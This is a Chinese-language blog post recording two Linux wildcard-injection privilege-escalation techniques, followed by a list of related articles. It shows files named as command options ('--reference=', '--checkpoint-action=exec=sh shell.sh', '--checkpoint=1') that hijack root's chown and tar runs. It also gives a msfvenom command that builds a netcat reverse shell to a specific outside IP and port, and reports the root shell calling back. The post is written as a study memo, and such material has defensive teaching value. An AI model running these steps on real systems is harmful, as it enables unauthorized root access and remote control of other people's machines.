美文网首页
记录Linux下的钓鱼提权思路

记录Linux下的钓鱼提权思路

作者: 云勺 | 来源:发表于2018-08-02 12:31 被阅读0次

参考Freebuf上的提权文章(利用通配符进行Linux本地提权):
http://www.freebuf.com/articles/system/176255.html

以两个例子的形式进行记录,作为备忘:

0x01 Chown的--reference特性

存在三个用户:root、yunsle和test,假设这样一个场景,root用户要将/home/test下所有的文件所有者设置为test,那么yunsle如何通过root的这样一个操作,达到攻击目的呢?
文件中目前内容如下:

snipaste20180802_114639.pngsnipaste20180802_114639.png

攻击者yunsle在/home/test下创建两个文件,如下:

echo "">yunsle
echo > --reference=yunsle
snipaste20180802_114719.pngsnipaste20180802_114719.png

此时root用户在当前目录下执行将所有文件拥有者设置为test的chown命令:

chown -R test:test *
snipaste20180802_114751.pngsnipaste20180802_114751.png

虽然命令执行出现了报错,但是再查看文件,发现拥有者并没有修改为test,而是yunsle:

snipaste20180802_114819.pngsnipaste20180802_114819.png

0x02 tar的命令执行:--checkpoint-action&--checkpoint

存在两个用户:root、yunsle,其中yunsle是非root组的攻击者,需要想办法提升权限,可以使用tar命令进行利用。

如果在cron计划中,root用户存在计划执行并且使用到了tar命令,或者攻击者提前知道root会对某个人文件执行tar,可以形成攻击场景。

攻击者首先自己可以生成一个反弹shell,如使用msfvenom:

msfvenom -p cmd/unix/reverse_netcat lhost=47.94.37.40 lport=7777 R
snipaste20180802_114846.pngsnipaste20180802_114846.png

并且在接收机上监听7777端口:

snipaste20180802_114917.pngsnipaste20180802_114917.png

将反弹shell内容在目标机上,写入shell.sh文件:

snipaste20180802_114931.pngsnipaste20180802_114931.png

接下来再创建两个文件:

echo > "--checkpoint-action=exec=sh shell.sh"
echo > --checkpoint=1
snipaste20180802_114953.pngsnipaste20180802_114953.png

此时,root对当前目录执行类似如下的tar操作:

tar -zcf bak.tgz /home/test/*
snipaste20180802_115017.pngsnipaste20180802_115017.png

已经成功以root身份执行shell.sh,并且将shell反弹至攻击者服务器:

snipaste20180802_115034.pngsnipaste20180802_115034.png

相关文章

  • 记录Linux下的钓鱼提权思路

    参考Freebuf上的提权文章(利用通配符进行Linux本地提权):http://www.freebuf.com/...

  • linux 提权-Crontab提权

    前言 记录一下linux提权系列的Crontab计划任务提权的学习过程。 crontab 命令 crontab命令...

  • Linux提权

    0x00 Linux提权基础命令 0x01 Linux提权工具 Linux内核CVE提权(github):可能会导...

  • 016利用Linux漏洞进行提权

    视频资料链接 利用Linux漏洞进行提权 提权:普通账号 --》》 rootRHEL5-RHEL6下都适用web...

  • HW之红队常见Linux的几种提权方法

    前言 不管是 Windows 提权还是 Linux 提权,方法都非常之多,实际情况下,还是需要根据对应的情况选择对...

  • 【提权】Linux的SUID提权

    0x01 SUID 什么是suid?通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。 0x02...

  • linux 提权-SUID提权

    前言 最近想着学习linux提权的一些姿势,这里简单分享学习SUID提权的一些知识点。 权限解读 先来父复习一下l...

  • linux 提权-sudo提权

    前言 最近听闻sudo刚刚出来了新漏洞,而最近正好在看linux提权这块知识点。借此梳理一下sudo提权相关的姿势...

  • Linux提权

    简单概述Linux的几种提权的办法。 内核溢出提权 mysql udf提权 上传库文件 执行库文件创建命令执行函数...

  • linux提权

    虽然还没有看暗月的教程,但要提醒自己不要忘了···

网友评论

      本文标题:记录Linux下的钓鱼提权思路

      本文链接:https://www.haomeiwen.com/subject/sivjvftx.html